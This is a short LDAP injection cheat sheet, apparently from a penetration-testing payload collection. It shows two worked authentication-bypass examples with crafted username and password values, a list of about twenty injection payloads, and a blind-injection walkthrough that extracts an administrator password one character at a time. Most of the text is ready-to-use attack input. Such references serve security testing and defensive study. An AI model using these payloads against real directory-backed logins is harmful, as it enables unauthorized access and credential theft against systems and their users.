LDAP injection

LDAP Injection is an attack used to exploit web based applications that construct LDAP statements based on user input. When an application fails to properly sanitize user input, it's possible to modify LDAP statements using a local proxy.

Exploitation

Example 1.

```
user  = *)(uid=*))(|(uid=*
pass  = password
query = "(&(uid=*)(uid=*)) (|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))"
```

Example 2

```
user  = admin)(!(&(1=0
pass  = q))
query = (&(uid=admin)(!(&(1=0)(userPassword=q))))
```

Payloads

```
*
*)(&
*))%00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y
```

Blind Exploitation

We can extract using a bypass login

```
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...
(&(sn=administrator)(password=MY*))  : OK
(&(sn=administrator)(password=MYA*)) : KO
(&(sn=administrator)(password=MYB*)) : KO
(&(sn=administrator)(password=MYC*)) : KO
...
(&(sn=administrator)(password=MYK*)) : OK
(&(sn=administrator)(password=MYKE)) : OK
```

Thanks to

- OWASP LDAP Injection (https://www.owasp.org/index.php/LDAP_injection)
- LDAP Blind Explorer (http://code.google.com/p/ldap-blind-explorer/)